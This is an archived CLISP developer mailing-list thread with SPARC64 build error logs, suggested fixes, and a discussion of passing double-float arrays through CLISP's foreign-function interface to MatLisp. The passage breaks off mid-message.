/usr/ccs/bin/as: "avcall-sparc64.s", line 67: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 67: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 68: error: statement syntax
/usr/ccs/bin/as: "avcall-sparc64.s", line 69: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 69: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 71: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 71: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 73: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 73: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 74: error: statement syntax
/usr/ccs/bin/as: "avcall-sparc64.s", line 75: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 75: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 77: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 77: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 80: error: statement syntax
/usr/ccs/bin/as: "avcall-sparc64.s", line 83: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 83: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 84: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 84: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 86: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 86: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 87: error: statement syntax
/usr/ccs/bin/as: "avcall-sparc64.s", line 88: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 88: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 90: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 90: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 92: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 93: error: statement syntax
/usr/ccs/bin/as: "avcall-sparc64.s", line 94: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 96: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 98: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 99: error: statement syntax
/usr/ccs/bin/as: "avcall-sparc64.s", line 100: error: detect global register use
 not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 102: error: detect global register use
 not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 104: error: detect global register use
 not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 105: error: statement syntax
/usr/ccs/bin/as: "avcall-sparc64.s", line 106: error: detect global register use
 not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 108: error: detect global register use
 not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 110: error: detect global register use
 not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 111: error: statement syntax
/usr/ccs/bin/as: "avcall-sparc64.s", line 112: error: detect global register use
 not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 114: error: detect global register use
 not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 116: error: detect global register use
 not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 117: error: statement syntax
/usr/ccs/bin/as: "avcall-sparc64.s", line 119: error: detect global register use
 not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 121: error: detect global register use
 not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 121: error: detect global register use
 not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 123: error: detect global register use
 not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 124: error: detect global register use
 not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 124: error: detect global register use
 not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 125: error: detect global register use
 not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 125: error: detect global register use
 not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 127: error: detect global register use
 not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 127: error: detect global register use
 not covered .register pseudo-op
 ....................................
/usr/ccs/bin/as: "avcall-sparc64.s", line 927: error: detect global register use
 not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 928: error: detect global register use
 not covered .register pseudo-op
*** Error code 1
make: Fatal error: Command failed for target `avcall-sparc64.lo'

OOPS:  

gcc -m64  -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-s
ign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT -DNO_SIGSEGV -I. -c
 spvw.c
In file included from spvw.d:24:
lispbibl.d:2580:7: #error "oint_addr_mask doesn't cover CODE_ADDRESS_RANGE !!"
lispbibl.d:2583:7: #error "oint_addr_mask doesn't cover MALLOC_ADDRESS_RANGE !!"


and then I get zillions of

lispbibl.d: In function `check_fpointer':
lispbibl.d:12126: warning: cast to pointer from integer of different size
lispbibl.d:12126: warning: cast to pointer from integer of different size
lispbibl.d: In function `check_list':
lispbibl.d:12147: warning: left shift count is negative
lispbibl.d: In function `check_symbol_non_constant':
lispbibl.d:12183: warning: cast to pointer from integer of different size
lispbibl.d: In function `check_pos_integer':
lispbibl.d:12255: warning: left shift count is negative
lispbibl.d: In function `check_sint8':
lispbibl.d:12461: warning: left shift count is negative
lispbibl.d: In function `check_sint16':
lispbibl.d:12477: warning: left shift count is negative
lispbibl.d: In function `check_sint32':
lispbibl.d:12493: warning: left shift count is negative
lispbibl.d: In function `check_uint64':
lispbibl.d:12501: warning: cast to pointer from integer of different size
lispbibl.d:12501: warning: cast to pointer from integer of different size
lispbibl.d:12501: warning: cast to pointer from integer of different size

spvw.d: In function `my_malloc':
spvw.d:618: warning: cast to pointer from integer of different size


spvw_memfile.d:360: warning: cast to pointer from integer of different size
spvw_memfile.d:360: warning: cast to pointer from integer of different size
spvw_memfile.d:406: warning: cast to pointer from integer of different size
spvw_memfile.d:407: warning: cast to pointer from integer of different size
spvw_memfile.d:407: warning: cast to pointer from integer of different size
spvw_memfile.d:419: warning: cast to pointer from integer of different size
spvw_memfile.d:419: warning: cast to pointer from integer of different size
spvw_memfile.d:419: warning: cast to pointer from integer of different size
spvw_memfile.d:419: warning: cast to pointer from integer of different size
spvw_memfile.d:419: warning: cast to pointer from integer of different size
spvw_memfile.d:485: warning: cast to pointer from integer of different size

spvw_memfile.d:515: warning: cast to pointer from integer of different size
spvw_memfile.d:515: warning: cast to pointer from integer of different size
spvw_memfile.d:515: warning: cast to pointer from integer of different size
spvw_memfile.d:515: warning: cast to pointer from integer of different size
spvw_memfile.d:515: warning: cast to pointer from integer of different size
spvw_memfile.d:515: warning: cast to pointer from integer of different size
spvw_memfile.d:515: warning: cast to pointer from integer of different size
spvw_memfile.d:515: warning: cast to pointer from integer of different size
spvw_memfile.d:516: warning: cast to pointer from integer of different size
spvw_memfile.d:516: warning: cast to pointer from integer of different size
spvw_memfile.d:516: warning: cast to pointer from integer of different size
spvw_memfile.d:516: warning: cast to pointer from integer of different size
spvw_memfile.d:516: warning: cast to pointer from integer of different size
spvw_memfile.d:516: warning: cast to pointer from integer of different size
spvw_memfile.d:516: warning: cast to pointer from integer of different size
spvw_memfile.d:516: warning: cast to pointer from integer of different size



PLEASE HELP!!!


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>     Goffioul> Well, yes: a MatLisp version that work with CLISP... :-)
>=20
> You could help make that a reality, if it's important to you.  If
> you're interested, subscribe to the matlisp mailing lists on
> sourceforge.net.
>=20
> I think there are quite a few people out there who would like such a
> thing.

I'm working on it, but I don't know yet if I'll succeed. I'm in
contact with a MatLisp developer.

>     Goffioul> Writing conversion routines is a possibility,=20
> but I fear that efficiency
>     Goffioul> would be low, especially if you want to convert=20
> large complex arrays
>     Goffioul> (if you need to do it in a loop). Is there a=20
> way to make C code access
>     Goffioul> LISP variables directly (without copying)?
>=20
> This is certainly possible since this is what Matlisp does.  However,
> it does require your Lisp to have a specialized array with
> double-float elements that are arranged in one contiguous area, just
> like C or Fortran would.  Given this, you only need a routine that can
> figure the address of this, and Matlisp would work, once the Matlisp
> Fortran FFI is mapped to clisp's FFI.

I don't know(think) that direct memory mapping is possible in CLISP.
It uses copy to send/retrieve data to/from FFI functions.

Michael.


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Hi,

Goffioul Michael wrote:
>> [...] Matlisp does.  However,
>> it does require your Lisp to have a specialized array with
>> double-float elements that are arranged in one contiguous area,
>I don't know(think) that direct memory mapping is possible in CLISP.
>It uses copy to send/retrieve data to/from FFI functions.

The FFI is not the problem if you want to interface to some foreign =
code. You can always write modules, which, as an other article of mine =
explained, feature full access to Lisp objects. One could build modules =
even --without-dynamic-ffi :-)
but few people know about this, or maybe very few people value this =
possibility.

The problem IMHO is as follows:

Sam Steingold wrote:
>You are right, CLISP does not have specialized float arrays.
>It would be relatively easy to add them in the NO_TYPECODES model
>(mostly used on 32-bit processors).

So you cannot have Matlist write the non-existant CLISP FP arrays :-)

The FFI is, by the nature of conversions, a slow interface (it's an =
interpreter for a foreign-function description language). Some modules
could benefit from direct access to Lisp objects.
So far, few people have come up with time measurements. Modules where =
it's
known to make a difference are regexp. Modules where it could make a
difference are those where functions are either called very often, or =
on
large data.
But still, I believe run-time invocations of parse-c-type typically =
cost
more than the FFI conversion overhead.
Modules where it makes no difference are obviously those where one =
function
is called for a long computation.

BTW, do you except your function to be called with plenty of different =
array sizes? Otherwise, typical memoization techniques of the =
FOREIGN-FUNCTION object could be used: you'd call a memoized =
specialisation of the foreign function restricted to e.g. exactly =
(C-ARRAY int 100). That's the fastest you could get with the FFI!

Regards,
	J=F6rg H=F6hle.


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> Hi,
>=20
> Goffioul Michael wrote:
> >> [...] Matlisp does.  However,
> >> it does require your Lisp to have a specialized array with
> >> double-float elements that are arranged in one contiguous area,
> >I don't know(think) that direct memory mapping is possible in CLISP.
> >It uses copy to send/retrieve data to/from FFI functions.
>=20
> The FFI is not the problem if you want to interface to some=20
> foreign code. You can always write modules, which, as an=20
> other article of mine explained, feature full access to Lisp=20
> objects. One could build modules even --without-dynamic-ffi :-)
> but few people know about this, or maybe very few people=20
> value this possibility.

Would you then be able to make an external C functions acces the
internal data of a LISP vector directly in "double*"-like way
(provided this is possible with the internal representation of
a vector in CLISP)?
Could you point me to some documentation about modules? I read the
CLISP implementation doc, but didn't find it very explicit regarding
modules.

> The problem IMHO is as follows:
>=20
> Sam Steingold wrote:
> >You are right, CLISP does not have specialized float arrays.
> >It would be relatively easy to add them in the NO_TYPECODES model
> >(mostly used on 32-bit processors).
>=20
> So you cannot have Matlist write the non-existant CLISP FP arrays :-)
>=20
> The FFI is, by the nature of conversions, a slow interface=20
> (it's an interpreter for a foreign-function description=20
> language). Some modules
> could benefit from direct access to Lisp objects.
> So far, few people have come up with time measurements.=20
> Modules where it's
> known to make a difference are regexp. Modules where it could make a
> difference are those where functions are either called very=20
> often, or on
> large data.
> But still, I believe run-time invocations of parse-c-type=20
> typically cost
> more than the FFI conversion overhead.
> Modules where it makes no difference are obviously those=20
> where one function
> is called for a long computation.
>=20
> BTW, do you except your function to be called with plenty of=20
> different array sizes? Otherwise, typical memoization=20
> techniques of the FOREIGN-FUNCTION object could be used:=20
> you'd call a memoized specialisation of the foreign function=20
> restricted to e.g. exactly (C-ARRAY int 100). That's the=20
> fastest you could get with the FFI!

It's expected to be used as a library. So theoretically, the
array size can be anything. I don't think that memoization would
be the best solution.

Michael.


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Goffioul Michael=20
>Would you then be able to make an external C functions acces the
>internal data of a LISP vector directly in "double*"-like way

No. You can write an "internal" C function which, with special care, =
can stuff the results of a foreign function call into a Lisp object.
CLISP specialized arrays exist for unsigned-byte 8/16/32.

The pseudo code would be as follows (sorry, no more time - actually, =
it's probably too sketchy to be usable)
LISPFUNN(myfoo...)
{
   # two arguments: int and Lisp array
   var param1 =3D popSTACK();
   # leave array on stack
   # array checking code not shown
   check_uint32(param1);
   unsigned long x =3D I_to_UL(param1);
   begin_call();
   var double ll =3D myfun(); # invoke foreign function
   end_call();
   # convert ll to some CLISP format, see dfloat.d and the like
   # array groking code, pull array from stack (not shown)
   var a =3D STACK_0; # move-safe code down here
   # put double in array, code not shown, see misc. examples in source =
tree
   return_values();
}

The key point #1 is that the Lisp array remained on the stack, so even =
if the foreign function were to invoke a callback, GC would find it.

Key point #2 is to fill the array in the safe, known place, i.e. not =
amid foreign call land, but rather after the foreign call (after =
end_call), back in Lisp C mode.

You see that this approach requires quite some familiarity with a small =
part of CLISP internals.

>Could you point me to some documentation about modules? I read the
>CLISP implementation doc, but didn't find it very explicit regarding
>modules.
Look at hand-written or hand-originated modules like
 o affi.d (probably only in attic of current CVS)
   an idea might be to investigate its MEM-READ/WRITE function
 o gdi.d
 o ...
also look at the output of the modprep program. It shows how functions =
which pull Lisp arguments from the Lisp stack are to be built.

Regards,
	J=F6rg H=F6hle.


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Sam Steingold wrote:
> gcc -m64
> checking for 64-bit SPARC... (cached) yes
>
> gcc -m64 foo.c
> file a.out
> a.out:          ELF 64-bit MSB executable SPARCV9 Version 1, dynamically
> linked, not stripped

Good, you're near to success.

> gcc -m64  -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type 
> -Wno-s ign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT
> -DNO_SIGSEGV -I. -c spvw.c
> In file included from spvw.d:24:
> lispbibl.d:2580:7: #error "oint_addr_mask doesn't cover CODE_ADDRESS_RANGE !!"
> lispbibl.d:2583:7: #error "oint_addr_mask doesn't cover MALLOC_ADDRESS_RANGE !!"

Then adjust the oint_type_len etc. definitions (lispbibl.d:2405..2431)
to match the CODE_ADDRESS_RANGE and MALLOC_ADDRESS_RANGE that was found.

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>>>>> "Goffioul" == Goffioul Michael <goffioul@imec.be> writes:

    Goffioul> I'm working on it, but I don't know yet if I'll succeed. I'm in
    Goffioul> contact with a MatLisp developer.

Hmm, there are only two developers, and I pretend to be the other one
sometimes.

    >> 
    >> This is certainly possible since this is what Matlisp does.  However,
    >> it does require your Lisp to have a specialized array with
    >> double-float elements that are arranged in one contiguous area, just
    >> like C or Fortran would.  Given this, you only need a routine that can
    >> figure the address of this, and Matlisp would work, once the Matlisp
    >> Fortran FFI is mapped to clisp's FFI.

    Goffioul> I don't know(think) that direct memory mapping is possible in CLISP.
    Goffioul> It uses copy to send/retrieve data to/from FFI functions.

Just to clarify things, matlisp doesn't pass the array itself,  It
passes the address of the contents of the array to the foreign
function.  Clisp supports passing pointers to foreign functions, I
think.  So what you need is for Clisp to have a specialized array type
for double-float.  

But matlisp doesn't really require that the array be on the Lisp heap.
You could, for example, have the array malloc'ed, or something.
(Matlisp originally did this.)  You would have to decide if this is
really what you want.

But this is getting far from the topic of clisp, so perhaps it should
be taken up elsewhere.

Ray




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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    Sam> gcc -m64 -x none -c avcall-sparc64.s -o avcall-sparc64.o
    Sam> /usr/ccs/bin/as: "avcall-sparc64.s", line 2: error: .version "01.01" greater tha
    Sam> n assembler version ""

Don't know what this means.

    Sam> /usr/ccs/bin/as: "avcall-sparc64.s", line 13: error: detect global register use
    Sam> not covered .register pseudo-op

You need to add a .register pseudo-op.  Something like

        .register %g2, #scratch
        .register %g3, #scratch

(This info is hard to find anywhere.  I'm not 100% sure that the above
is correct.)

BTW, I tried to compile a "hello world" C program in 64-bit mode, a
while ago.  This worked ok, but gdb 6.0 was totally useless.  It
didn't understand anything so you couldn't set breakpoints, couldn't
single-step, couldn't display stack frames, etc.

Sun's debugger (and compiler) worked much better in this respect.
Even the ancient version 5 we have at work did something reasonable
with 64-bit code.

Ray



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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-05-11 10:50:03 +0200]:
>
> Goffioul Michael wrote:
>>> [...] Matlisp does.  However,
>>> it does require your Lisp to have a specialized array with
>>> double-float elements that are arranged in one contiguous area,
>>I don't know(think) that direct memory mapping is possible in CLISP.
>>It uses copy to send/retrieve data to/from FFI functions.
>
> The FFI is not the problem if you want to interface to some foreign
> code. You can always write modules, which, as an other article of mine
> explained, feature full access to Lisp objects. One could build
> modules even --without-dynamic-ffi :-) but few people know about this,
> or maybe very few people value this possibility.

Moreover, many modules bundled with CLISP do not depend on FFI:
regexp, syscalls, pcre, berkeley-db, dirkey, queens, rawsock.



> The problem IMHO is as follows:
>
> Sam Steingold wrote:
>>You are right, CLISP does not have specialized float arrays.
>>It would be relatively easy to add them in the NO_TYPECODES model
>>(mostly used on 32-bit processors).
>
> So you cannot have Matlist write the non-existant CLISP FP arrays :-)

yes you can.  Just allocate (UNSIGNED-BYTE 32) arrays of double size
(for DOUBLE-FLOAT) or required size (for SINGLE-FLOAT) and pass the
data vectors to the FORTRAN functions.


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> * Bruno Haible <oehab@pyvfc.bet> [2004-05-11 14:31:35 +0200]:
>
>> gcc -m64  -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type 
>> -Wno-s ign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT
>> -DNO_SIGSEGV -I. -c spvw.c
>> In file included from spvw.d:24:
>> lispbibl.d:2580:7: #error "oint_addr_mask doesn't cover CODE_ADDRESS_RANGE !!"
>> lispbibl.d:2583:7: #error "oint_addr_mask doesn't cover MALLOC_ADDRESS_RANGE !!"
>
> Then adjust the oint_type_len etc. definitions (lispbibl.d:2405..2431)
> to match the CODE_ADDRESS_RANGE and MALLOC_ADDRESS_RANGE that was found.

/* address range of program code (text+data+bss) */
#define CODE_ADDRESS_RANGE 0x0000000100000000UL
/* address range of malloc() memory */
#define MALLOC_ADDRESS_RANGE 0x0000000100000000UL

how do I adjust oint_type_len?

I added -DNO_SINGLEMAP to CFLAGS and it is building as I write.

1.  what will this cost me? it appears that I will be able to use 48
    bits for address instead of 32, what are the drawbacks?

2.  I get a LOT of warnings like

stream.d: In function `sec_usec':
stream.d:13575: warning: left shift count is negative
stream.d:13577: warning: left shift count is negative
stream.d: In function `parse_sock_list':
stream.d:13834: warning: left shift count is negative
stream.d:13839: warning: left shift count is negative

    is this harmless?

3.   It finally failed:

gcc -m64  -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT -DNO_SIGSEGV -I. -DNO_SINGLEMAP -c io.c
In file included from io.d:9:
lispbibl.d:7328: warning: volatile register variables don't work as you might wish
In file included from io.d:9:
lispbibl.d: In function `check_list':
lispbibl.d:12147: warning: left shift count is negative
lispbibl.d: In function `check_pos_integer':
lispbibl.d:12255: warning: left shift count is negative
lispbibl.d: In function `check_sint8':
lispbibl.d:12461: warning: left shift count is negative
lispbibl.d: In function `check_sint16':
lispbibl.d:12477: warning: left shift count is negative
lispbibl.d: In function `check_sint32':
lispbibl.d:12493: warning: left shift count is negative
lispbibl.d: In function `check_sint64':
lispbibl.d:12509: warning: left shift count is negative
lispbibl.d: In function `check_sint':
lispbibl.d:12525: warning: left shift count is negative
lispbibl.d: In function `check_slong':
lispbibl.d:12541: warning: left shift count is negative
io.d: In function `make_references':
io.d:2187: warning: left shift count is negative
io.d: In function `C_complex_reader':
io.d:3056: warning: left shift count is negative
io.d:3059: warning: left shift count is negative
io.d: In function `C_bit_vector_reader':
io.d:3226: warning: `ch' might be used uninitialized in this function
io.d: In function `C_vector_reader':
io.d:3310: warning: `el' might be used uninitialized in this function
io.d: In function `C_array_reader':
io.d:3364: warning: left shift count is negative
io.d:3366: warning: left shift count is negative
io.d:3369: warning: left shift count is negative
io.d:3371: warning: left shift count is negative
io.d: In function `lookup_label':
io.d:3583: warning: left shift count is negative
io.d:3585: warning: left shift count is negative
io.d: In function `C_label_definition_reader':
io.d:3609: warning: left shift count is negative
io.d: In function `C_label_reference_reader':
io.d:3657: warning: left shift count is negative
io.d: In function `interpret_feature':
io.d:3729: warning: left shift count is negative
io.d:3740: warning: left shift count is negative
io.d:3753: warning: left shift count is negative
io.d: In function `C_structure_reader':
io.d:3882: warning: left shift count is negative
io.d:3908: warning: left shift count is negative
io.d:3927: warning: left shift count is negative
io.d:4000: warning: left shift count is negative
io.d: In function `C_closure_reader':
io.d:4134: warning: left shift count is negative
io.d: In function `C_ansi_pathname_reader':
io.d:4271: warning: left shift count is negative
io.d: In function `justify_end_fill':
io.d:5745: warning: left shift count is negative
io.d:5765: warning: left shift count is negative
io.d: In function `justify_end_linear':
io.d:5828: warning: left shift count is negative
io.d:5843: warning: left shift count is negative
io.d:5872: warning: left shift count is negative
io.d: In function `special_list_p':
io.d:7089: warning: left shift count is negative
io.d:7091: warning: left shift count is negative
io.d: In function `pr_real_number':
io.d:7302: warning: left shift count is negative
io.d:7316: warning: left shift count is negative
io.d:7331: warning: left shift count is negative
io.d: In function `some_printable_slots':
io.d:8026: warning: left shift count is negative
io.d: In function `C_ppprint_logical_block':
io.d:9631: warning: left shift count is negative
/usr/ccs/bin/as: "/var/tmp//ccEV4S3J.s", line 17331: error: statement syntax
*** Error code 1
make: Fatal error: Command failed for target `io.o'

io.s (generated by "make io.s") is here:
<http://www.podval.org/~sds/io.s>

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    Sam> yes you can.  Just allocate (UNSIGNED-BYTE 32) arrays of double size
    Sam> (for DOUBLE-FLOAT) or required size (for SINGLE-FLOAT) and pass the
    Sam> data vectors to the FORTRAN functions.

That's not really enough.  Matlisp also wants to be able to see those
arrays as Lisp arrays of some sort.

Well, you could have functions that takes such things and converts
them back and forth, but that seems not so nice.

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Sam wrote:
> /* address range of program code (text+data+bss) */
> #define CODE_ADDRESS_RANGE 0x0000000100000000UL
> /* address range of malloc() memory */
> #define MALLOC_ADDRESS_RANGE 0x0000000100000000UL
>
> how do I adjust oint_type_len?

In this case oint_addr_len must be at least 33. You can achieve this by
changing the SPARC64 specific
  #if defined(NO_SINGLEMAP)
to
  #if 1

> 1.  what will this cost me? it appears that I will be able to use 48
>     bits for address instead of 32, what are the drawbacks?

None.

> 2.  I get a LOT of warnings like
>
> stream.d:13575: warning: left shift count is negative
> stream.d:13577: warning: left shift count is negative

Such a build will not work.

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> * Bruno Haible <oehab@pyvfc.bet> [2004-05-11 18:22:30 +0200]:
>
> Sam wrote:
>> /* address range of program code (text+data+bss) */
>> #define CODE_ADDRESS_RANGE 0x0000000100000000UL
>> /* address range of malloc() memory */
>> #define MALLOC_ADDRESS_RANGE 0x0000000100000000UL
>>
>> how do I adjust oint_type_len?
>
> In this case oint_addr_len must be at least 33. You can achieve this by
> changing the SPARC64 specific
>   #if defined(NO_SINGLEMAP)
> to
>   #if 1

thanks.

>> 1.  what will this cost me? it appears that I will be able to use 48
>>     bits for address instead of 32, what are the drawbacks?
> None.
great!

>> 2.  I get a LOT of warnings like
>>
>> stream.d:13575: warning: left shift count is negative
>> stream.d:13577: warning: left shift count is negative
>
> Such a build will not work.

OUCH!!!  what do I do?!

I grabbed your change to src/arilev0.d and now io.d is compiled,
but now I get

gcc -m64 -I/home/sds/src/m64/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT -I. -DNO_SINGLEMAP -c array.c
In file included from array.d:8:
lispbibl.d:7328: warning: volatile register variables don't work as you might wish
In file included from array.d:8:
lispbibl.d: In function `check_list':
lispbibl.d:12147: warning: left shift count is negative
lispbibl.d: In function `check_pos_integer':
lispbibl.d:12255: warning: left shift count is negative
lispbibl.d: In function `check_sint8':
lispbibl.d:12461: warning: left shift count is negative
lispbibl.d: In function `check_sint16':
lispbibl.d:12477: warning: left shift count is negative
lispbibl.d: In function `check_sint32':
lispbibl.d:12493: warning: left shift count is negative
lispbibl.d: In function `check_sint64':
lispbibl.d:12509: warning: left shift count is negative
lispbibl.d: In function `check_sint':
lispbibl.d:12525: warning: left shift count is negative
lispbibl.d: In function `check_slong':
lispbibl.d:12541: warning: left shift count is negative
array.d: In function `eltype_code':
array.d:140: warning: left shift count is negative
array.d: In function `test_dims':
array.d:4169: warning: left shift count is negative
array.d:4173: warning: left shift count is negative
array.d:4183: invalid `asm': operand number missing after %-letter
array.d: In function `initial_contents':
array.d:4332: warning: left shift count is negative
array.d:4333: warning: left shift count is negative
array.d: In function `C_make_array':
array.d:4599: warning: left shift count is negative
array.d:4600: warning: left shift count is negative
array.d: In function `reshape':
array.d:4658: warning: left shift count is negative
array.d: In function `C_adjust_array':
array.d:4932: warning: left shift count is negative
array.d:4933: warning: left shift count is negative
array.d: In function `C_vector_fe_endtest':
array.d:5016: warning: left shift count is negative
*** Error code 1
make: Fatal error: Command failed for target `array.o'


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more errors (with the most recent arilev0):

gcc -m64 -I/home/sds/src/m64/include -W -Wswitch -Wcomment -Wpointer-arith -Wimp
licit -Wreturn-type  -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_
GETTEXT -I. -DNO_SINGLEMAP -c unixaux.c
In file included from unixaux.d:7:
lispbibl.d:7328: warning: volatile register variables don't work as you might wi
sh
In file included from unixaux.d:7:
lispbibl.d: In function `check_list':
lispbibl.d:12147: warning: left shift count is negative
lispbibl.d: In function `check_pos_integer':
lispbibl.d:12255: warning: left shift count is negative
lispbibl.d: In function `check_sint8':
lispbibl.d:12461: warning: left shift count is negative
lispbibl.d: In function `check_sint16':
lispbibl.d:12477: warning: left shift count is negative
lispbibl.d: In function `check_sint32':
lispbibl.d:12493: warning: left shift count is negative
lispbibl.d: In function `check_sint64':
lispbibl.d:12509: warning: left shift count is negative
lispbibl.d: In function `check_sint':
lispbibl.d:12525: warning: left shift count is negative
lispbibl.d: In function `check_slong':
lispbibl.d:12541: warning: left shift count is negative
gcc -m64 -E arisparc64.c | grep -v '^#' > arisparc64.s
gcc -m64 -I/home/sds/src/m64/include -W -Wswitch -Wcomment -Wpointer-arith -Wimp
licit -Wreturn-type  -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_
GETTEXT -I. -DNO_SINGLEMAP -x assembler -c arisparc64.s
/usr/ccs/bin/as: "arisparc64.s", line 81: error: invalid register
/usr/ccs/bin/as: "arisparc64.s", line 574: error: detect global register use not
 covered .register pseudo-op
/usr/ccs/bin/as: "arisparc64.s", line 578: error: detect global register use not
 covered .register pseudo-op
/usr/ccs/bin/as: "arisparc64.s", line 580: error: detect global register use not
 covered .register pseudo-op
/usr/ccs/bin/as: "arisparc64.s", line 585: error: detect global register use not
 covered .register pseudo-op
/usr/ccs/bin/as: "arisparc64.s", line 649: error: detect global register use not
 covered .register pseudo-op
/usr/ccs/bin/as: "arisparc64.s", line 652: error: detect global register use not
 covered .register pseudo-op
/usr/ccs/bin/as: "arisparc64.s", line 670: error: detect global register use not
 covered .register pseudo-op
/usr/ccs/bin/as: "arisparc64.s", line 673: error: detect global register use not
 covered .register pseudo-op
*** Error code 1
make: Fatal error: Command failed for target `arisparc64.o'

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> * Raymond Toy <gbl@egc.revpffba.fr> [2004-05-11 09:57:08 -0400]:
>
>>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
>
>     Sam> gcc -m64 -x none -c avcall-sparc64.s -o avcall-sparc64.o
>     Sam> /usr/ccs/bin/as: "avcall-sparc64.s", line 2: error: .version "01.01" greater tha
>     Sam> n assembler version ""
>
> Don't know what this means.
>
>     Sam> /usr/ccs/bin/as: "avcall-sparc64.s", line 13: error: detect global register use
>     Sam> not covered .register pseudo-op
>
> You need to add a .register pseudo-op.  Something like
>
>         .register %g2, #scratch
>         .register %g3, #scratch
>
> (This info is hard to find anywhere.  I'm not 100% sure that the above
> is correct.)

For me, assembler is even less readable than Perl (!),
so I can hardly understand what you are saying.
I would deeply appreciate a patch though.

> BTW, I tried to compile a "hello world" C program in 64-bit mode, a
> while ago.  This worked ok, but gdb 6.0 was totally useless.  It
> didn't understand anything so you couldn't set breakpoints, couldn't
> single-step, couldn't display stack frames, etc.

we have gdb 4.17...

> Sun's debugger (and compiler) worked much better in this respect.
> Even the ancient version 5 we have at work did something reasonable
> with 64-bit code.

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Sam Steingold <sds <at> gnu.org> writes: 
 
> > So you cannot have Matlist write the non-existant CLISP FP arrays  
>  
> yes you can.  Just allocate (UNSIGNED-BYTE 32) arrays of double size 
> (for DOUBLE-FLOAT) or required size (for SINGLE-FLOAT) and pass the 
> data vectors to the FORTRAN functions. 
>  
 
I'm a little bit lost among all the answers that requires more and more 
knowledge of CLISP internals (which I don't have). I'll restate the problem as 
simple as possible: 
 
1) there's a foreign function (whether C or FORTRAN) that takes a double array 
as argument AND modifies it: in C it could be "int func(double *a, in len)" 
for example. 
 
2) in LISP, I'd like a kind of wrapper function (whether it's implemented in a 
